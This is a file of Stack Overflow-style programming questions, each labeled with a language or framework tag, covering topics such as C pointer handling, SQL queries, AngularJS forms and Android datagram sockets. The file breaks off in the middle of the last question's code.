 where are the properties stored  i believe for solution 2 they are stored on the calculator.prototype and the only value on the actual object is the number value (the rest of the properties have to look at calculator.prototype and get their properties from the prototype object).,javascript
how to php exec custom binary with options   by terminal this is the command:   <pre><code>./mybinary option1 option2 </code></pre>   from php i d like to run the binary with different options  but...    ok   <pre><code>exec( ./mybinary http://www.domain.com 99 ); </code></pre>   ko   <pre><code>$command =  ./mybinary  .$opt1 .     . $opt2; exec($command); </code></pre>   some suggestions     thanks  k.,php
rails 4.2: set domain for all cookies  i need to ensure that all cookies set by my application (session  normal cookies  whatever) uses the top level domain (ie.  .mydomain.com ).    i can see how to do this when setting an individual cookie  but i need to ensure it s set for every cookie.    i m goin  crazy here. help a guy out!,ruby-on-rails
flipping a ppm image in c  i came to you all earlier with an issue that was just a simple mistake  so i m hoping eyes looking over this will be the same.    this is in c    i have to flip a ppm image horizontally  but my current code either draws a segmentation fault or does not actually flip anything.    the code i use that draws the segmentation fault is:   <pre><code>int a  b  x  y; x = 3 * mypic-&gt;rows; y = 3 * mypic-&gt;cols; for(a = 0; a &lt; (y / 2); a++) {     for(b = 0; b &lt; x; b++) {         pixel temp = mypic-&gt;pixels[a][b];         mypic-&gt;pixels[a][b] = mypic-&gt;pixels[y - a - 1][b];         mypic-&gt;pixels[y - a - 1][b] = temp;     } } return mypic; </code></pre>   }    the code that returns no change is:   <pre><code>int a  b  x  y; for(a = 0; a &lt; mypic-&gt;rows; a++) {     for(b = 0; b &lt; mypic-&gt;cols; b++) {         pixel temp = mypic-&gt;pixels[a][b];         mypic-&gt;pixels[a][b] = mypic-&gt;pixels[mypic-&gt;cols - a - 1][b];         mypic-&gt;pixels[mypic-&gt;cols - a - 1][b] = temp;     } } return mypic; </code></pre>   because ppm images have rgb values  i assume that the row and column values should be multiplied by three. and i thought that going all the way across would cause it to go back to the original so i divided the width (columns) by two. i m stuck and i hope this is a small mistake  can anyone help,c
mousewheel scroll to anchor  i m trying to get the mousewheel scroll to scroll to anchors on the page. i m using this piece of code i found on a different thread here but it s not working. am i missing something    <pre><code>(function() { var delay = false;  jquery(document).on( mousewheel dommousescroll   function(event) { event.preventdefault(); if(delay) return;  delay = true; settimeout(function(){delay = false} 200)  var wd = event.originalevent.wheeldelta || -event.originalevent.detail;  var a= document.getelementsbyclass ( anchor ); if(wd &lt; 0) {   for(var i = 0 ; i &lt; a.length ; i++) {     var t = a[i].getclientrects()[0].top;     if(t &gt;= 40) break;   } } else {   for(var i = a.length-1 ; i &gt;= 0 ; i--) {     var t = a[i].getclientrects()[0].top;     if(t &lt; -20) break;   } }  if(i &gt;= 0 &amp;&amp; i &lt; a.length) {   jquery( html body ).animate({     scrolltop: a[i].offsettop   }); }   });      })(); console.clear(); </code></pre>,jquery
update values in all tables using single query in mysql  i want to update multiple columns using a single query in mysql with some condition that is valid across all colums.    i have around 25 databases with the same table structure in them. i need to update a field named <code>status</code> across all databases for a particular url using a single query using <strong>phpmyadmin</strong>.    right now i am using this query. (i need to set <code>status=2</code> in <code>table1</code> in all of these databases  where the <code>url</code> is <code> www.google.com </code>)   <pre><code>update  `database1`.`table1` as p1      `database2`.`table1` as p2       `database3`.`table1` as p3 set  p1.`status` = 2      p2.`status`= 2      p3.`status`= 2  where p1.url= www.google.com  and     p1.url=p2.url=p3.url </code></pre>   but it is updating data in all rows not only <code>url= www.google.com </code>. it is updating <code>status=2</code> in <code> www.yahoo.com </code> also.     please help me to solve this.,mysql
pass array of string by reference in c  i want to proceed an array of string arg[10][50] using function strtoarg()  it should be return two values one is variable  argno  which is numbers of arg (would pass by value) &amp; other is arguments array variable  arg  (would pass by reference). help me to solve this problem  how can i get proper values of arg return back from function.<br> thanks in advance.   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;ctype.h&gt; #include &lt;stdlib.h&gt; #define in  #define out   int strtoarg (in char* instr  out char &amp;arg) {  char *pch temp[10][50];     int argno=0 j;        pch = strtok (instr   - );     while (pch != null){         strcpy((char*)(temp[argno]) pch);         arg = &amp;temp[argno];          pch = strtok (null    - );         argno++;         }     return argno; }   int main()  {      char instr[50] arg[10][50];     int argnum i;      gets(instr);      argnum = strtoarg(instr *arg);      for(i=1; i&lt;argnum; ++i)         printf( %s  arg[i]);              return 0; } </code></pre>  <hr>   i have try to go this way    <pre><code>int strtoarg (in char* instr  out char* arg) {         char *pch;     int argno=0 j;        pch = strtok (instr   - );     while (pch != null){         strcpy((char*)arg[argno] pch);         pch = strtok (null    - );         argno++;         }     return argno;     }  int main() {            char instr[50] arg[10][50];          int argnum i;         gets(instr);      argnum = strtoarg(instr *arg);      printf( here );       for(i=1; i&lt;argnum; ++i)         printf( %s  arg[i]);              return 0; } </code></pre>   it s remove error but create segmentation fault. am i on right path,c
nsurlconnection make a synchronous request in backgorund  like the title my question is if is it possible to make synchronous request in background. my actual code is:   <pre><code>nsdata  *datareply = [nsurlconnection sendsynchronousrequest:therequest returningresponse:&amp;response error:&amp;error]; </code></pre>,objective-c
receiving id of pending intent from broadcast receiver  i need to access the <code>id</code> of the pending intent from the <code>broadcast receiver</code> class.  here is the code of my main activity from which i set the alarm using pendingintent.    <pre><code>private void setalarm(calendar targetcal) {       intent alarmintent = new intent(addalarm.this  alarmreceiver.class);     pendingintent sender = pendingintent.getbroadcast(addalarm.this  pen  alarmintent  pendingintent.flag_one_shot); //where pen is the id     alarmmanager alarmmanager = (alarmmanager)getsystemservice(alarm_service);     alarmmanager.setexact(alarmmanager.rtc_wakeup  targetcal.gettimeinmillis()  sender);   } </code></pre>   and here is the code of my broadcast receiver:   <pre><code>    public class alarmreceiver extends wakefulbroadcastreceiver {      @override     public void onreceive(final context context  intent intent) {         int vibrator = intent.getintextra( vibrator   1);          //pendingintent sender = pendingintent.getbroadcast(context  0  intent  0);            //intent to call the activity which shows on ringing         intent myintent = new intent(context  time_date.class);         myintent.setflags(intent.flag_activity_new_task);         context.startactivity(myintent);          //display that alarm is ringing         toast.maketext(context   alarm ringing...!!!   toast.length_long).show();          componentname comp = new componentname(context.getpackagename()                  alarmservice.class.getname());         startwakefulservice(context  (intent.setcomponent(comp)));         setresultcode(activity.result_ok);         }   } </code></pre>   can i use <code>intent.putextra()</code> to receive the same or any other easy way to get the unique id to the broadcast receiver  any help will be appreciated.,android
problems with sql exercise from sql-ex  i have a database  painting   it consists of 3 tables:   <ul> <li>utq (q_id int  q_name varchar(35))</li> <li>utv (v_id int  v_name varchar(35)  v_color char(1))</li> <li>utb (b_q_id int  b_v_id int  b_vol tinyint  b_datetime datetime).</li> </ul>   the utq table contains the identifiers and names of squares  the initial color of which is black. (note: black is not a color and is considered unpainted. only red  green and blue are colors.)  the utv table contains the identifiers and names of spray cans and the color of paint they are filled with. the utb table holds information on squares being spray-painted  and contains the square and spray can identifiers  the quantity of paint being applied  and the time of the painting event.    it should be noted that   <ul> <li>a spray can may contain paint of one of three colors: red (v_color= r )  green (v_color= g )  or blue (v_color= b );  <ul> <li>any spray can initially contains 255 units of paint;</li> <li>the square color is defined in accordance with the rgb model  i.e. r=0  g=0  b=0 is black  whereas r=255  g=255  b=255 is white;</li> <li>any record in the utb table decreases the paint quantity in the corresponding spray can by b_vol and accordingly increases the amount of paint applied to the square by the same value;</li> <li>b_vol must be greater than 0 and less or equal to 255;</li> <li>the paint quantity of a single color applied to one square can’t exceed 255  and there can’t be a less than zero amount of paint in a spray can;</li> <li>the time of the painting event (b_datetime) is specified with one second precision  i.e. it does not contain milliseconds;</li> <li>for historical reasons  the spray cans are referred to as “balloons” by many of the exercises  and the utv table contains spray can names (v_name column) such as “balloon # 01”  etc</li> </ul></li> </ul>   this is the schema     <a href= https://i.stack.imgur.com/kwopi.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/kwopi.png  alt= enter image description here ></a>    and the question is   <blockquote>    what the maximal number of black squares could be painted white color with paint remainder   </blockquote>   my solution looks like:   <pre><code>select top 1 sum(t.rest) / 255 tot_rest from     (select v_id               v_color                coalesce(255-sum(b_vol)  255) rest     from utv left join utb on utv.v_id = utb.b_v_id     group by v_id  v_color     having coalesce(255-sum(b_vol)  255) != 0) t   group by t.v_color  order by sum(t.rest) / 255 </code></pre>   unfortunately it doesn t pass all tests. could you please help me  what i ve done wrong  (all  solutions  to this exercise  which i ve found  also don t pass all tests)    thanks a lot in advance for any help!,sql
angularjs - ngoptions in a select - how to validate before changing the model   im using angularjs. i have a <code>select</code> with several options. to work with this options im using <code>ngoptions</code> and <code>ng-model</code>. when the value in the select changed  i do a <code>put operation</code>. if it successes then this selection should be transmitted to the model. in case of failed  the model should not get this new selection.   <pre><code>&lt;select class= form-control  ng-change= updateselection(object)    ng-model= object.status  ng-options= status as label for (label  status) in constants &gt; &lt;/select&gt; </code></pre>   my issue is that due to <code>ng-model</code> and two-way binding  whenever i do a change the new selection is transmitted to the model without any validation. is there any way to do some validation before updating the model,angularjs
.net compact framework 3.9 installer for wec2013  i have a wec2013 running device and i need to install the .net compact framework 3.9 on this device. therefore i need the right .cab or even better .msi file  but i can t find it!    where can i find it,.net
show/hide input in html form  i m trying to get the second password input only to show after the user starts typing into the first input. also  is there are way to either  require  them both or none at all    <pre><code>&lt;form name= signupform &gt;     ...      &lt;input ng-modal= password  type= password  placeholder= password &gt;     &lt;input ng-show= password.$dirty  class= animate-show animate-hide  type= password  placeholder= password (again) &gt; &lt;/form&gt; </code></pre>,angularjs
how to select top records from a table not using top / rownum   there is top command. however  if we want not to use the top command what would be the best way of selecting top 5 records     <pre><code>select top 5 * from table1; </code></pre>,sql
how to check list containing nan  in my for loop  my code generates a list like this one:   <pre><code>list([0.0 0.0]/sum([0.0 0.0])) </code></pre>   the loop generates all sort of other number vectors but it also generates <code>[nan nan]</code>  and to avoid it i tried to put in a conditional to prevent it like the one below  but it doesn t return true.    <pre><code>nan in list([0.0 0.0]/sum([0.0 0.0])) &gt;&gt;&gt; false </code></pre>   shouldn t it return true     <img src= https://i.stack.imgur.com/aqayl.png  alt= enter image description here >    libraries i ve loaded:   <pre><code>import performanceanalytics as perf import dataanalyticshelpers import datahelpers as data import optimizationhelpers as optim from matplotlib.pylab import * from pandas.io.data import datareader from datetime import datetime date time import tradingwithpython as twp import tradingwithpython.lib.yahoofinance as data_downloader # used to get data from yahoo finance import pandas as pd # as always. import numpy as np import zipline as zp from scipy.optimize import minimize from itertools import product  combinations import time from math import isnan </code></pre>,python
line-height as a percentage not working  i am having an issue with line-height that i cannot quite get my head around.    the following code will center an image within a div:   <h3> css </h3>  <pre><code>.bar {     height: 800px;     width: 100%;     line-height:800px;     background-color: #000;     text-align: center;  }  .bar img {     vertical-align: middle;    } </code></pre>  <h3> html </h3>  <pre><code>&lt;div class= bar &gt;     &lt;img src= http://27.media.tumblr.com/yhwa4oxh870ulxnoh7ckosdr_500.jpg  alt= foo image  /&gt; &lt;/div&gt; </code></pre>   however  if i change the line height to 100%  then the line height does not take effect (or at least does not become 100% of the div).    <a href= http://jsfiddle.net/auejz/3/ >example jsfiddle</a>    does anyone know what i am doing wrong,css
download mp3 instead of playing with webkit  i am using android 1.5    i am trying to download mp3 via url link  but instead of download proccess i get auto-play via the webkit. i do want to download the mp3 file  not to play it straightly from the browser.    any idea how could i solve this     thanks  ray.,android
questions every good .net developer should be able to answer   my company is about to hire <strong>.net developers</strong>. we work on a variety of .net platforms: asp.net  compact framework  windowsforms  web services. i d like to compile a list/catalog of good questions  a kind of minimum standard to see if the applicants are experienced. so  my question is:    <strong>what questions</strong> do you think should a good <strong>.net programmer be able to respond</strong>     i d also see it as a <strong>checklist</strong> for myself  in order to see where my own deficits are <em>(there are many...)</em>.    <img src= https://i.imgur.com/xo2yi.png  alt= alt text >    *update: it want to make clear that we re not testing only for .net knowledge  and that problem solving capabilities and general programming skills are even more important to us.,.net
warning comparison integer and pointer <pre><code>int b[5] = {1 2 3 4 5}; int *s = &amp;b[0]; int *p = &amp;b[1]; int *q = &amp;b[2]; int *r = &amp;b[2]; </code></pre>   my question is when i compare <code>p &lt; q &lt; r</code> using <code>if( p &lt; q &lt; r)</code>  i got the warning message.    what i thought is  first of all  <code>(p &lt; q) == true</code>  so it s impossible to compare boolean with integer( address value of r). however  when <code>true</code> is considered as integer  it s 1. right  so  <code>1 &lt; r</code> might make sense  in my guess.    what s wrong with my thought,c
iphone view not visible  i have the following code in my loadview method and can t understand why i can t see both different colored blocks. i thought the second  self.view =   was overlapping the second view so i could only see the green view. however even if i set the views alpha to 0.5 i still don t see the blue block  the green one just becomes more transparent.    am i missing something really stupid here    <pre><code>- (void)loadview { cgrect newframe; newframe.origin = cgpointmake(100  100); newframe.size = cgsizemake(100  40); uiview *myview = [[uiview alloc] initwithframe:newframe]; myview.backgroundcolor = [uicolor bluecolor]; //myview.alpha = 0.5; self.view = myview;  cgrect newframe2; newframe2.origin = cgpointmake(100  200); newframe2.size = cgsizemake(100  40); uiview *myview2 = [[uiview alloc] initwithframe:newframe2]; myview2.backgroundcolor = [uicolor greencolor]; //myview2.alpha = 0.5;  self.view = myview2; </code></pre>   },iphone
how is this null terminated   i am aware when using char arrays you must initialise the size to at the length of the string + 1 to account for <code>\0</code> <br>but if i don t account for <code>\0</code> how does strchr claim that <code>\0</code> is in the char array since this prints <em> is null terminated </em>   <pre><code>char mark[4] =  mark ; if(strchr(mark   \0 )) {     puts( is null terminated. ); } else {     puts( is not ); } </code></pre>,c
repeat function python  i m stuck at higher-order functions in python. i need to write a repeat function <code>repeat</code> that applies the function <code>f</code> <code>n</code> times on a given argument <code>x</code>.     for example  <code>repeat(f  3  x)</code> is <code>f(f(f(x)))</code>.    this is what i have:   <pre><code>def repeat(f n x):     if n==0:         return f(x)     else:         return repeat(f n-1 x) </code></pre>   when i try to assert the following line:   <pre><code>plus = lambda x y: repeat(lambda z:z+1 x y) assert plus(2 2) == 4 </code></pre>   it gives me an <code>assertionerror</code>. i read about <a href= https://stackoverflow.com/questions/7359828/how-to-repeat-a-function-n-times >how to repeat a function n times</a> but i need to have it done in this way and i can t figure it out...,python
pythonic way to do `if x in y where x.attr == val`   i have a class that represents a polynomial as a collection of terms where each term has a coefficient and an exponent. i am working on the <code>__add__</code> method of the class and i am wondering what the most effective way to do something like:   <pre><code>def __add__(self  other):     new_terms = []     for term in self.terms:         if there is a term in other with an exponent == term.exponent             new_terms.append(term(term.coef + other_term.coef  term.exponent)) </code></pre>   it strikes me that i m looking for something such as:   <pre><code>if x in y where x.attr == val </code></pre>   or in my specific case:   <pre><code>if x in other where x.exponent == term.exponent </code></pre>   does such a thing exist,python
how to insert integers number to doubly linked list from a text file   this s program will display the integers numbers from the text file    1 2 3 4 5 6     and ask the user to    <ol> <li>add a number   </li> <li>delete a number from the list</li> <li>show the list. </li> </ol>   can someone help me to implement the following step:     1.how to insert the integers numbers from the text file to the doubly linked list.    2.if the user added a number  the number should be added to the text file.    3- if the user delete a number  the number should be deleted from the text file.    <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;fstream&gt;  using namespace std; struct  node {     int number;      node *next;      node *prev;  }*start;  class double_llist { public:     bool isempty(node *head);     char menu();     void insertasfirstelement(node *&amp;head  node *&amp;last  int number);     void inser(node*&amp;head  node*&amp;last  int number);     void remove(node *&amp;head  node *&amp;last);     void showlist(node *current);     int numintelement(ifstream&amp;x); private:  };  int main() {      string filename;     cout &lt;&lt;   please enter the name of the file =  ;      cin &gt;&gt; filename;      ifstream myfile;      myfile.open(filename);      if (!myfile.is_open()) {         cout &lt;&lt; endl &lt;&lt;   failed to open file  check that it exists and you have access \n  &lt;&lt;  \n  &lt;&lt; endl;       }     else if (myfile.is_open())     {         ifstream x;         double_llist dl;         dl.numintelement(x);          int int1 = 0;          cout &lt;&lt;   file exists \n ;          ////         node * head = null;         node *last = null;         char choice;         int number;         do {             choice = dl.menu();             switch (choice)             {             case  1 :                 cout &lt;&lt;   please enter number :  ;                 cin &gt;&gt; number;                 dl.inser(head  last  number);                 break;             case  2 :                 dl.remove(head  last);             case  3 :                 dl.showlist(head);                 break;             default:                 break;             }         } while (choice !=  4 );         {          }     }      system( pause );     return 0;  } int double_llist::numintelement(ifstream&amp;x) {      int n = 0;     int m;      ifstream myfile( file.txt );     int countsingfie = 0;      while (!myfile.eof())     {         myfile &gt;&gt; n;         //if (countsingfie == 0) {         //  cout &lt;&lt;  error : file exist but no data   &lt;&lt; endl;         //}         cout &lt;&lt;  the numbers in the file are    &lt;&lt; n&lt;&lt;    &lt;&lt; endl;     }     return countsingfie; } bool double_llist::isempty(node *head) {     if (head == null) {         return true;      }     else     {         return false;     } } char double_llist::menu() {     char choice;      cout &lt;&lt;   main menu \n ;      cout &lt;&lt;   1 . add a number \n ;     cout &lt;&lt;   2 . delete a number from the list \n ;     cout &lt;&lt;   3 . show the list \n ;      cout &lt;&lt;   4.  exit \n ;     cin &gt;&gt; choice;      return choice; } void  double_llist::insertasfirstelement(node *&amp;head  node *&amp;last  int number) {     node *temp = new node;      temp-&gt;number = number;      temp-&gt;next = null;      head = temp;      last = temp;  } void double_llist::inser(node*&amp;head  node*&amp;last  int number) {     if (isempty(head)&gt;0){         insertasfirstelement(head  last  number);      }     else if (isempty(head) &lt; 0)     {         cout &lt;&lt;   please enter a number above 0   &lt;&lt; endl;     }     else     {         node *temp = new node;         temp-&gt;number = number;         temp-&gt;next = null;         last-&gt;next = temp;         last = temp;     } } void  double_llist::remove(node *&amp;head  node *&amp;last) {     if (isempty(head)) {         cout &lt;&lt;   sorry  the list is already empty \n ;       }     else if (head == last)     {          delete head;          head = null;         last = null;       }     else     {         node *temp = head;          head = head-&gt;next;          delete temp;      } } void double_llist::showlist(node *current) {      if (isempty(current)) {         cout &lt;&lt;   the list is empty \n ;     }     else     {         cout &lt;&lt;   the list contains: \n  ;          while (current != null)         {             cout &lt;&lt; current-&gt;number &lt;&lt; endl;              current = current-&gt;next;           }     } } </code></pre>,c++
why extend a function with an empty object   i was looking at the <a href= http://facebook.github.io/rebound/rebound-js/docs/rebound.html  rel= nofollow noreferrer >rebound javascript code</a> and saw that the <code>springsystem</code> function is being extended with an empty object.    <pre><code>var springsystem = rebound.springsystem = function springsystem() {     this._springregistry = {};     this._activesprings = [];     this._listeners = [];     this._idlespringindices = [];     this._boundframecallback = bind(this._framecallback  this); };  extend(springsystem  {}); </code></pre>   where <code>extend</code> looks like:    <pre><code>function extend(target  source) {     for (var key in source) {         if (source.hasownproperty(key)) {             target[key] = source[key];         }     } } </code></pre>   what does the first <code>extend</code> achieve by extending an empty object  it s my understanding that an empty object has no <code>hasownproperty(key)</code> for anything.     what am i missing,javascript
css rule generates 404 error on some browsers  in my server logs  i get many errors such as this:   <pre><code>file does not exist: /my/path/-moz-linear-gradient(top white  </code></pre>   this is apparently due to the following piece of bootstrap css  where some browsers must interpret <code>-moz-linear-gradient</code> as a background image to be downloaded:   <pre><code>.btn{ /* some code... */ background-color: whitesmoke; background-image: -webkit-gradient(linear 0 0 0 100% from(white) to(#e6e6e6)); background-image: -webkit-linear-gradient(top white #e6e6e6); background-image: -o-linear-gradient(top white #e6e6e6); background-image: linear-gradient(to bottom white #e6e6e6); background-image: -moz-linear-gradient(top white #e6e6e6); background-repeat: repeat-x; /* more code...*/ } </code></pre>   how can i prevent such errors from happening  thank you!,css
strip html from a textarea submitted by user  i am using a plugin called  user submitted posts  - there is a text area which allows user to input the content  here is the code :    <pre><code>&lt;li class= usp_content &gt;             &lt;label for= user-submitted-content  class= usp_label &gt;your content&lt;/label&gt;             &lt;div&gt;                 &lt;textarea class= usp_textarea  name= user-submitted-content  id= user-submitted-content  rows= 5 &gt;&lt;/textarea&gt;             &lt;/div&gt;         &lt;/li&gt; </code></pre>   the problem is that this code allows user to input html code   like  and etc. i tried to strip it from html but i just cant figure out how   searched and tried so many codes and it does not work.     i really appreciate if someone tells me how to strip the html from above code so the person cant put html,html
onclick event with div tag  i tried something with div tag as follows    <pre><code>  &lt;style type= text/css &gt;     #hello{         visibility: visible;         cursor: pointer;         position: absolute;     }     #list{         visibility: hidden;         cursor: pointer;         position: absolute;         top: 30px;         z-index:  1;         background-color: aqua;     }     #second{             position: absolute;     } &lt;/style&gt; &lt;div id= hello  onclick= {if(list.style.visibility== hidden ){list.style.visibility= visible ;}else{list.style.visibility= hidden };} &gt;hello user&lt;/div&gt;&lt;br/&gt;       &lt;div id= second &gt;welcome to smartdata&lt;/div&gt;       &lt;div id= list &gt;           &lt;a href= index.jsp &gt;home&lt;/a&gt; &lt;br/&gt;           &lt;a href= #  onclick= {alert( you are going to signout );} &gt;signout&lt;/a&gt; &lt;br/&gt;       &lt;/div&gt; </code></pre>   it is working fine but the problem is list is not displaying on the first click. any thing wrong with my code.,html
i would like to concatentate a column of results  i use a query that gives me a list of locomotives in a particular shed on a given day. unfortunately the output is not in the format i would like.    currently it is:   <pre> heaton  b9  1469 1475  immingham  b3  1497 1498  j94  8006 8009 8012 8013 </pre>   heaton &amp; immingham are sheds    b3  b9 &amp; j94 are classes of locos    i would like:   <pre> heaton  b9  1469  1475  immingham  b3   1497  1498  j94 8006  8009  8012  8013  </pre>   to give some idea of the size the database will be when completed there will be approx 11500 locos  120 sheds and 100 classes.,.net
c++ only first answer line correct  i get problem with my program  it prints correct only first line answer here is my .txt file first number (3) is shops number second number (5) is products number  other lines is prices for products   <pre><code>3 5 1.27 2.92 3.45 1.09 0.89 1.08 2.25 3.75 1.12 0.69 0.98 2.48 3.62 1.10 0.72 </code></pre>   and here`s my results.txt file  in witch are all results of each line   <pre><code> 9.62  8.89  8.90 </code></pre>   my program code:   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt;  using namespace std;  int main() {     double dienos  results;     int shops;      ifstream fin ( duomenys1.txt );     fin &gt;&gt; shops;      for( int shop = 1; shop &lt;= 3; shop++ ) {         results = 0;         fin &gt;&gt; dienos;          for ( int pricelist = 1; pricelist &lt;= 5; pricelist++ ) {             double price;             fin &gt;&gt; price;             results += price;          }         cout &lt;&lt; results &lt;&lt; endl;      } } </code></pre>,c++
block of text in html  stupid question but i don t really know how to google this. is there a html tag that will let you delete all its text in just one key press  i m trying to add a textarea (i.e. {{defaultvalue}}) in my html on button click and i want to program it so that when the user clicks delete  it will delete the whole text  not one text at a time.,html
"sql add max and second max date to query that includes with  posted a question yesterday about <a href= https://stackoverflow.com/questions/51029389/sql-append-distinct-values-from-two-columns-and-two-tables noredirect=1#comment89054335_51029389 >sql append distinct values from two columns and two tables</a> that resulted in the following code:   <pre><code>with cte1 as  (select distinct  tra. .cus_outnum as  account number  from table1  tra.  where  tra. .invdat &gt;= dateadd(year  -1  getdate())  union  select distinct   sal. .outnum as  account number  from table2  sal.   where  sal. .deldat&gt;= dateadd(year  -1  getdate()))  cte2 as (select distinct  tra. .artnum as  article number  from tabel1 “tra.” where  tra. .invdat &gt;= dateadd(year  -1  getdate())  union  select distinct isnull( sal. .org_artnum   sal. .artnum) as  article number  from table2  sal.  where  sal. .deldat&gt;= dateadd(year  -1  getdate()))  select * from cte1 cross join cte2 </code></pre>   it produces a table with all distinct combination of account numbers and article numbers from two different tables where orders are done later than one year ago.    next object that i m struggling with is to include the latest and second latest purchase date in two new columns.  if no purchase is done for any combination of account and article  it should result in a null(blank) value. and the latest/second latest date (i.e max date) should come from either one or the other of the tables. end result should be along the lines of:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;account&lt;/th&gt;&lt;th&gt;article&lt;/th&gt;&lt;th&gt;latest date&lt;/th&gt;&lt;th&gt;second to latest date&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;26.06.2018&lt;/td&gt;&lt;td&gt;13.03.2018&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;15.05.2018&lt;/td&gt;&lt;td&gt;blank (no purchase)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;23.06.2018&lt;/td&gt;&lt;td&gt;30.06.2017&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;blank (no purchase)&lt;/td&gt;&lt;td&gt;blank (no purchase)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;</code></pre>
 </div>
 </div>
     many thanks for all the help  it is much appreciated!",sql
sql procedure needs to fill in extra columns <pre><code>insert into test exec p4_proc     </code></pre>   but my table have two extra columns a date with a getdate() datatype and another column that needs to be updated from the application.     please explain how i can run the query to fill in the date and empty column.,sql
"angularjs ng-if hide different div  so i have an <code>ng-if</code> that looks like this    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;p style= margin-left: 2px;font-style: italics;font-family:  roboto   sans-serif; font-size: 12px;color: #818a8f;  ng-bind=  (  + progress +  %  +     +  complete)  &gt;&lt;/p&gt;
 
 &lt;div ng-if= progress == 100 &gt;
   &lt;i class= material-icons x{{$index}}  style= position: relative; bottom: 100px; left: 600px; cursor: pointer;  ng-click= vm.removefile($index) &gt;close&lt;/i&gt;
   &lt;br&gt;
   &lt;div class= input-field col m2 l2 &gt;
     &lt;input placeholder= first eye exam  id= desc{{$index}}  type= text  class= validate square-box  style= width: 400px !important; &gt;
     &lt;label for= desc{{$index}}  class= active &gt;description&lt;/label&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     when the <code>ng-if</code> is triggered  i want to hide the <code>p</code> thats right above the ng-if (and other stuff in the html as well)    i tried something like    <pre><code>&lt;div ng-if= progress=100 &gt;&lt;script&gt;$( p ).hide();&lt;/script&gt;&lt;/div&gt; </code></pre>   but obviously that didnt work. whats the correct way of doing this",angularjs
how to receive from datagram socket  i m developing an app it s like voice chat client connects to server and then voice chat begins.    but server side has problem. the problem is receiving method of datagram socket.    socket.receive();    block waiting for input.    server side :   <pre><code>private int channelconfig =  audioformat.channel_out_mono; private int audioformat = audioformat.encoding_pcm_16bit;        audiorecord recorder;  private boolean status = true;    @suppresslint( newapi ) @targetapi(build.version_codes.gingerbread) @override public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);    if (android.os.build.version.sdk_int &gt; 9) {         strictmode.threadpolicy policy = new strictmode.threadpolicy.builder().permitall().build();         strictmode.setthreadpolicy(policy);    }       receivebutton = (button) findviewbyid (r.id.receive_button);     stopbutton = (button) findviewbyid (r.id.stop_button);     receive_label= (textview) findviewbyid(r.id.receive_label);     receivebutton.setonclicklistener(receivelistener);     stopbutton.setonclicklistener(stoplistener);     port=(edittext) findviewbyid(r.id.edittext1);     button= (button) findviewbyid(r.id.button1);     button.setonclicklistener(close);   //audiomanager audiomanager = (audiomanager) this.getsystemservice(context.audio_service);    // samplerate =integer.parseint( audiomanager.getproperty(audiomanager.property_output_sample_rate)); }  private final onclicklistener close = new onclicklistener() {      @override     public void onclick(view arg0) {              system.exit(0);     }  };    private final onclicklistener stoplistener = new onclicklistener() {      @override     public void onclick(view v) {         status = false;         speaker.release();         log.d( vr   speaker released.s );      }  };   private final onclicklistener receivelistener = new onclicklistener() {      @override     public void onclick(view arg0) {         status = true;          receive_label.settext( socket...2 );         startreceiving();      }  };  public void startreceiving() {      final thread receivethread = new thread (new runnable() {            @override         public void run() {                try {                  int  minbufsize =4096;//recorder.getminbuffersize(samplerate channelconfig audioformat);                   log.d( vr     +channelconfig+    +audioformat+samplerate);                    datagramsocket socket = new datagramsocket(50005);                   log.d( vr    socket created.s );                     byte[] buffer = new byte[minbufsize+=4096];                    //  for (int samplerate : new int[] {44100 8000  11025  16000 }) {  // add the rates you wish to check against                           log.d( bufersize    bufer size : +minbufsize);                       log.d( bufersize    bufer size : +samplerate);                       if (minbufsize != audiorecord.error_bad_value) {                              speaker = new audiotrack(audiomanager.stream_music samplerate channelconfig audioformat minbufsize*=10 audiotrack.mode_stream);                             speaker.play();                           log.d( vr    spekaer playing... );                       }                 //  }                     //minimum buffer size. need to be careful. might cause problems. try setting manually if any problems faced                  // int minbufsize = audiorecord.getminbuffersize(samplerate  channelconfig  audioformat);                       log.d( vr     +status);                              while(status == true) {                                    datagrampacket packet = new datagrampacket(buffer buffer.length);                                    socket.receive(packet);                                     log.d( vr    packet received.s );                                    //reading content from packet                                  buffer=packet.getdata();                                   log.d( vr    packet data read into buffer.s );                                     //sending data to the audiotrack obj i.e. speaker                                   speaker.write(buffer  0  minbufsize);                                  log.d( vr    writing buffer content to speaker.s );                         }                          } catch (socketexception e) {                             // todo auto-generated catch block                             e.printstacktrace();                         } catch (ioexception e) {                             // todo auto-generated catch block                             e.printstacktrace();                         }                     }       });    receivethread.start(); }} </code></pre>   client side :   <pre><code>@targetapi(build.version_codes.gingerbread) @suppresslint( newapi ) public class mainactivity extends activity {  private edittext target target_port; private textview streaminglabel; private button startbutton stopbutton; button button;  public byte[] buffer; public static datagramsocket socket; private int port=50005;         audiorecord recorder;  //audiomanager audiomanager = (audiomanager) this.getsystemservice(context.audio_service);  private int samplerate =8000;//=integer.parseint(audiomanager.getproperty(audiomanager.property_output_sample_rate)); private int channelconfig = audioformat.channel_in_mono;     private int audioformat = 